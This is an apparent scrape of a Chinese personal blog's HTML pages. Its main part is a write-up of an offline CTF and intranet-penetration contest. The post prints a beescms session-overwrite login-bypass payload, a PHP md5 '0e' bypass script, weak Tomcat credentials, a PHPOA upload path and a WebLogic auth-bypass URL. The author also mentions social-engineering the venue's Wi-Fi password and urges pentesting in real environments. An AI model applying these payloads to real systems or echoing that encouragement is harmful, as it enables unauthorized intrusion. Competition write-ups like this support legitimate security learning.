<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

356
2021/09/06/offlinectf.html Normal file
View File

@@ -0,0 +1,356 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>记一次线下的信息安全比赛 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="记一次线下的信息安全比赛" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="感觉还是现实中的渗透有意思……" />
<meta property="og:description" content="感觉还是现实中的渗透有意思……" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-09-06T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="记一次线下的信息安全比赛" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-09-06T00:00:00+08:00","datePublished":"2021-09-06T00:00:00+08:00","description":"感觉还是现实中的渗透有意思……","headline":"记一次线下的信息安全比赛","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/09/06/offlinectf.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/09/06/offlinectf.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/09/06/offlinectf.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-09-06T00:00:00+08:00">6 September 2021</time> - 字数统计2753 - 阅读大约需要9分钟 - Hits: <span id="/2021/09/06/offlinectf.html" class="visitors">Loading...</span></small>
<h1 class="p-name">记一次线下的信息安全比赛</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Mon, 06 Sep 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章记述了作者参加线下信息安全比赛的经历主要分为两部分CTF环节和内网渗透。作者虽然在网络工程背景下的知识面上与信息安全专业人员相抗衡但在CTF环节遇到了挑战对于Crypto和Misc问题感到困惑认为CTF在现实中的实用性有限。在内网渗透方面作者凭借实际经验显得更有优势发现了一些实际运用中的漏洞。尽管如此作者认为线下渗透比赛更有意思强调在真实环境中进行渗透练习更有价值。最终作者所在的队伍获得了三等奖。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#体验与过程">体验与过程</a><ul><li><a href="#ctf部分">CTF部分</a></li><li><a href="#内网渗透部分">内网渗透部分</a></li></ul></li><li><a href="#总结">总结</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>感觉还是现实中的渗透有意思……<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>近些年来,我体验过<a href="/2019/12/16/ctf.html">线上的CTF</a>,也体验过<a href="/2020/11/24/createctf.html">成为CTF的举办方</a>,但是由于各种各样的原因,我没有参加过线下的这种信息安全比赛。正好最近四川某学校组织了一场线下的信息安全比赛,我们学校就让我和同学们去参加了。 </p><p>
在我们的队伍中,除了我之外,其他人都是信息安全专业的,这让我这个网络工程的人怎么办😂。不过好歹我还<a href="/2021/05/15/vulnerability.html">发现过漏洞</a><a href="/2019/07/01/mabbs.html">自制过网站引擎</a>,也在维护网站的过程中<a href="/2019/02/17/break.html">对网络攻防有一定的了解</a>,加上上面的经验,至少我在知识面上还是能和信息安全专业的人比较的吧。</p>
<h1 id="体验与过程">
<a href="#体验与过程"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 体验与过程
</h1>
<p>在这次比赛中有两部分的内容第一部分是CTF第二部分是内网渗透。除此之外线下和线上的区别有一点就是每个队伍会单独给靶机听说Flag好像有些题也是唯一的。另外有一个挺大的区别就是线下的电脑不允许联网包括手机信号也会屏蔽。不过据说貌似屏蔽的只有4G以下的信号和2.4G的WiFi信号与蓝牙信号5G移动网络和5GWiFi并没有受到影响另外也提供一台可联网的电脑可以限时查资料。所以这整的我就有点看不懂这个操作了。另外我通过社工的办法偷偷的整到了他们校园网的密码所以其实我可以正常连接到互联网。</p>
<h2 id="ctf部分">
<a href="#ctf部分"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> CTF部分
</h2>
<p>虽然我玩过CTF但是实际上我对CTF还是一窍不通Crypto部分的题看不懂也不知道用什么工具Misc题简直就是感觉能做可惜工具不够。Web题还好至少会一点但是我还是不会SQL注入。其他什么Pwn会用Reverse之类的题就基本上和我们无缘了反正我们小组的人都不会另外也没工具。 </p><p>
其实说实话我到现在为止都看不出来CTF在现实生活中有什么用逆向和Web可能有点用Crypto这种来个正常点的AES加密能有人不靠暴力破解还有Misc那种是在考验什么脑筋急转弯吗我原创个加密算法就是有漏洞能有人会解 </p><p>
总之CTF感觉其实意思不大不过说是那么说呢我也还是分享些我能做出来然后有点意思的题吧。 </p><p>
在这次的Web题里面有一个挺有意思的就是MD5和它自身相等的一个题。不过目前貌似以人类的科技还没有找出这样的值。大概代码就是这样</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="k">include</span> <span class="s1">'flag.php'</span><span class="p">;</span>
<span class="nb">highlight_file</span><span class="p">(</span><span class="s2">"index.php"</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"a"</span><span class="p">])){</span>
<span class="nv">$a</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"a"</span><span class="p">];</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$a</span> <span class="o">==</span> <span class="nb">md5</span><span class="p">(</span><span class="nv">$a</span><span class="p">)){</span>
<span class="k">echo</span> <span class="nv">$flag</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>虽然和原题不太一样不过大概意思就是这个意思。我看到之后最先想到的就是去百度找有没有这样的值不过最后似乎发现人类还没找到。接下来我就去搜php中MD5常见的漏洞最终发现就是在使用“==”判断的时候如果说后面的md5是“0e+一串数字”PHP就会认为它是0。我本来想找0e开头的md5也为0e的但是垃圾百度怎么找都只会找到像“QNKCDZO”这种垃圾值。那算了反正知道原理了我就直接自己写一个脚本算吧脚本内容如下</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">hashlib</span> <span class="kn">import</span> <span class="n">md5</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">999999999</span><span class="p">):</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">md5</span><span class="p">((</span><span class="s">"0e"</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)).</span><span class="n">encode</span><span class="p">()).</span><span class="n">hexdigest</span><span class="p">()</span>
<span class="k">if</span> <span class="n">a</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="s">"0e"</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="nb">int</span><span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="mi">2</span><span class="p">:])</span>
<span class="k">print</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
<span class="k">except</span><span class="p">:</span>
<span class="n">aaa</span> <span class="o">=</span> <span class="mi">0</span>
</code></pre></div></div>
<p>因为时间比较紧张所以就随便写了一下反正能用就行。最终算出来第一个值是“0e215962017”然后就可以了因为它的md5是“0e291242476940776845150308577824”对于PHP来说相当于“0 = 0”。垃圾百度真的是除非直接搜这个值才能出现少量的结果其他真的是怎么都搜不到…… </p><p>
其他题我都不会做CTF就到这里吧。</p>
<h2 id="内网渗透部分">
<a href="#内网渗透部分"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 内网渗透部分
</h2>
<p>内网渗透相比CTF来说还是有点意思尤其对我这种网络工程的人来说至少各种连接还是比较容易的。而且其实吧我也是在现实中玩过渗透的像学校网络都比比赛中的网络渗透起来简单。另外我也写过<a href="/2021/05/07/ssh.html">任意连接两个网络</a>的文章,所以这一部分我做起来就会更加得心应手一些。 </p><p>
不过通过这次比赛我还是发现比赛本身并没有多大意义比如说我们比赛的时候进入的入口是一个叫做beescms的CMS然而比赛举办方也不给代码让我们盲猜这倒也不是不行在这个CMS的很多地方都能看到有可能会被SQL注入的点然而我们队伍用了很多办法试都失败了。最后才在百度上找到<a href="https://www.anquanke.com/post/id/98574">一篇文章</a>说可以直接在主页POST一串</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>_SESSION[login_in]=1&amp;_SESSION[admin]=1&amp;_SESSION[login_time]=99999999999
</code></pre></div></div>
<p>这样的东西就可以直接修改Session绕过登录😓……我TM这东西不审计能找到这种漏洞最终才成功在上面找到了4个flag然后进入下一个内网。 </p><p>
在下一个内网里面有两个MySQL数据库和一个Tomcat网站另外还有一个网站上面写着后台管理但是看不出来是什么框架的。根据提示说那个Tomcat和数据库都是弱口令最后猜出来Tomcat的用户名是“tomcat”密码是“tomcat123”。数据库有个问题是我们能成功登录但是相关的工具不知道咋回事连不上代理……我因为不是信息安全的所以没有什么工具那个有工具的全局代理坏掉了不知道为啥连不上……所以没办法……另外那个数据库进去之后竟然也不给个flag也真是够小气的估计flag是在文件系统里面吧听说用UDF提权就可以。Tomcat是进入第二层网络的跳板我在上面搭了两层代理之后就可以进去那个网络了。在那个网络中有一个PHPOA的系统、一个Weblogic的网站和一个应该是Windows7的系统。 <del>看起来只开了SMB的端口感觉好像应该是用永恒之蓝打……</del>听大佬说好像是用IPC$?)不过具体的因为队友的工具连不上……所以就没办法。 </p><p>
PHPOA的那个资料不多不过我还是通过百度搜到了<a href="https://blog.csdn.net/weixin_39788986/article/details/110226286">相关资料</a><code class="language-plaintext highlighter-rouge">/ntko/upLoadOfficeFile.php</code>这个路径有个任意文件上传的漏洞,我人麻了,这不给代码不给网络我难不成靠先知知道这个漏洞? </p><p>
Weblogic那个网上虽然搜到了教程说可以用<code class="language-plaintext highlighter-rouge">/console/css/%252e%252e%252fconsole.portal</code>这个地址直接跳过登录,但是我没怎么用过那个平台不知道怎么部署也不知道怎么改密码所以最后也失败了…… </p><p>
到最后成绩还不错做了6道题给了1k多分还拿了一个一血和二血。</p>
<h1 id="总结">
<a href="#总结"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 总结
</h1>
<p>最后比赛结束成绩还可以我们队拿了个三等奖。不过这次比赛之后我发现还是在现实中去破解个认证啊啥的比CTF有用多了去真实的环境搞渗透比在比赛中有意思多了所以真想玩就在现实中玩吧。当然对于这次机会我感觉也是有意思的通过Flag的方式在一定程度上来说能给我带来些乐趣也是挺不错的经历了。</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=CTF"><em>CTF</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E6%B8%97%E9%80%8F"><em>渗透</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8"><em>信息安全</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-09-06-offlinectf.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/09/06/offlinectf.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/08/15/blog.html">
上一篇:如何选择合适的博客平台
</a>
</span>
<br />
<span class="next">
<a href="/2021/09/28/cloudgame.html">
下一篇:云游戏的体验与感受
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/09/06/offlinectf', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/09/06/offlinectf.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

324
2021/09/28/cloudgame.html Normal file
View File

@@ -0,0 +1,324 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>云游戏的体验与感受 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="云游戏的体验与感受" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="基础设施才是最重要的!" />
<meta property="og:description" content="基础设施才是最重要的!" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-09-28T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="云游戏的体验与感受" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-09-28T00:00:00+08:00","datePublished":"2021-09-28T00:00:00+08:00","description":"基础设施才是最重要的!","headline":"云游戏的体验与感受","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/09/28/cloudgame.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/09/28/cloudgame.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/09/28/cloudgame.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-09-28T00:00:00+08:00">28 September 2021</time> - 字数统计1880 - 阅读大约需要6分钟 - Hits: <span id="/2021/09/28/cloudgame.html" class="visitors">Loading...</span></small>
<h1 class="p-name">云游戏的体验与感受</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Tue, 28 Sep 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章主要讨论了作者对云游戏的体验以米哈游的《云·原神》和网易云游戏为例。虽然《云·原神》因其轻便的客户端、与手机版相似的延迟和较好的特效给作者留下了良好印象但它受限于限时免费游玩时间和手机端原生体验问题。相比之下网易云游戏的浏览器直接运行、价格适中且支持多平台的优势得到了强调。然而云游戏的体验受到网络状况的严重制约作者认为网络优化和千兆普及对云游戏的发展至关重要。作者还设想了P2P云计算机的潜力认为如果能有效降低延迟和成本云游戏的前景会更乐观。</p>
<hr />
